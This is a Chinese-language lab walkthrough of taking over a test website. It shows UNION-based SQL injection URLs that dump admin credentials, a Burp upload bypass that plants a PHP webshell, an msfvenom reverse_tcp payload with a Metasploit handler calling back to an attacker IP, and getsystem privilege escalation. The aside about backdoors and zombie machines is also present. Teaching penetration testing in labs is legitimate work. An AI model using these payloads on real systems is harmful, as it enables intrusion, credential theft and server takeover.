前言
很多安全人新入門時,都需要在特定的靶場進行學習,今天老李給大家找了一篇關于網站拿webshell的全部過程。當然了,文章中所有的操作都是基于靶場進行了,小伙伴可以找相關的測試用例,但是千萬不對真實的網站進行攻擊。
準備工作
靶機(被攻擊方):win7系統
入侵者(攻擊方):win10系統、kali系統
首先啟動win7系統,搭建一個常見的校園網站,然后映射到局域網,使得我們能正常訪問。
從網站拿到webshellsql注入漏洞
把整個網站瀏覽完一遍后,我們發現這里的url為?id=10結尾,我們猜測可能是一個sql注入點。
首先我們在id=10后面加上一個單引號’進行判斷。
這個時候我們發現回顯的數據不正常,于是我們再加一個注釋符號。
發現數據這個時候回顯的時候是正常的,到這一步我們已經可以確定這里存在一個sql注入漏洞。
原理我們可以簡單解釋一下 在網站中,我們一般使用數據庫存儲網站數據,網站和數據庫是存在一個交互性。網站所呈現的內容是由代碼中寫入的sql語句調用數據庫中的內容進行一個呈現,例如我們剛剛看到的文字。 而sql注入漏洞一般是由于程序員書寫的sql語句不規范所導致的安全事件。
例如網站源碼中使用如下的sql語句進行查詢。
給語句結尾的where查詢條件加上一個單引號’。
很顯然,我們傳入的單引號和前面的單引號閉合,后面只有一個無法成對的單引號,然后報了語法錯誤。
這個時候我們再加上--+注釋符號注釋掉后面的單引號。
這個時候查詢的數據就會正確回顯出來。
原理簡單解釋了一下之后,我們回到剛剛的網站。
這個時候我們發現存在sql注入漏洞之后,我們就開始進行查詢對方網站數據庫的數據,找到一些敏感信息,例如管理員的賬號密碼等等。
首先,我們使用order by語句快速猜解出表中的列數。
發現10列的時候報錯,說明不足10列,我們繼續縮小范圍。
再查詢第8列的時候,發現數據回顯正確,說明對方表中含有列數8
我們使用union select 自定義查詢測試一下,zhu意我們這里前面的id=10,要寫成id=-10,把這里的查詢置空。
發現會分別回顯第三列、第五列和第七列。接下來我們就可以在三、五、七處做做文章。
查詢數據庫名字:
http://192.168.1.167/yxlink/tuku/images.php?id=-10' union select 1,2,database(),4,5,6,7,8--+
得到數據庫名字:qzn_zuiai
查詢數據庫中的表名:
http://192.168.1.167/yxlink/tuku/images.php?id=-10' union select 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema="qzn_zuiai"--+
得到一共se2admin,se2fl,se2hd,se2nr,se2tufl,se2tunr,se2wz,se2zf,sj3sk九張表
通過表名,我們猜測se2admin可能是存儲管理員賬號和密碼的表,所以我們先查詢這張表中的數據
查詢表se2admin中的字段:
http://192.168.1.167/yxlink/tuku/images.php?id=-10' union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_name="se2admin"--+
得到表中的字段值有id,name,pass等,接下來我們查詢name和pass的字段值。
查詢字段值:
http://192.168.1.167/yxlink/tuku/images.php?id=-10' union select 1,2,name,4,pass,6,7,8 from se2admin--+
我們得到管理員賬號:admin,管理員賬號密碼:
7fef6171469e80d32c0559f88b377245
很顯然密碼值是被加密的md5值,所以我們去網上找md5網站進行撞庫查詢。
得到管理員密碼為:admin888
接下來我們需要查找這個網站的后臺地址,我們使用御劍進行一個掃描。
御劍爆出了很多敏感地址,我們找到一個admin的目錄,可能是后臺地址,我們去訪問一下。
輸入我們剛剛得到的管理員賬號和密碼admin:admin888。
這個時候,我們成功進入對方網站后臺。
文件上傳漏洞
接下來我們再這里找到一個文件上傳點。
我們寫一個簡單的一句話木馬。
考慮到這里可能會對我們上傳的文件進行一個后綴限制,例如只能上傳jpg或者png圖片格式文件等,所以我們把muma.txt改成muma.jpg格式。
我們開啟burpsuite,然后點提交,攔截到我們發送的數據包。
我們把muma.jpg改回php文件類型:muma.php。
然后發送數據包。
ok,已經上傳成功,我們去找找我們上傳后的路徑。
得到我們的上傳完整路徑為:http://192.168.1.167/yxlink/img/img_3699336993.php
我們使用蟻劍進行連接我們上傳的木馬。
成功連接,進入到對方服務器。
到此,已成功拿到webshell。
反彈shell連接
接下來我們利用kali的msf制作一個exe類型的反彈型木馬。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali的ip LPORT=端口 -f 類型 -o 文件名
把做好的木馬,通過我們蟻劍剛剛連接的webshell進行上傳。
上傳成功后,我們在kali啟動msf。
執行監聽
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.131 set lport 4444 exploit
執行木馬
msf開啟監聽之后,我們去蟻劍webshell執行我們上傳的木馬。
執行之后,回到kali,我們可以看到msf目標正在回連,創建Meterpreter會話成功。
提權
首先查看一下我們的用戶權限。
發現是普通用戶權限,之前我們已經在webshell觀察到對方是win7系統,所以我們采用的是windows的載荷攻擊
我們嘗試使用getsystem進行提權試試。
發現直接提權成功,現在我們擁有windows最高權限system。
接下來我們打印一下系統信息,并且拍照對方電腦現在狀態。
ok,成功。
結語
在拿到system權限之后,我們可以干很多很多的事…例如給對方種下后門,拿來當肉雞等等… …
這告訴我們開發網站必須注重安全,否則帶來的后果是無窮大的。
作者:dotast 原文地址:https://www.freebuf.com/articles/web/290214.html
再次聲明:本頭條號所分享內容僅用于網安愛好者之間的技術討論,禁止用于違法途徑,所有滲透都需獲取授權!否則需自行承擔,本頭條號及原作者不承擔相應的后果.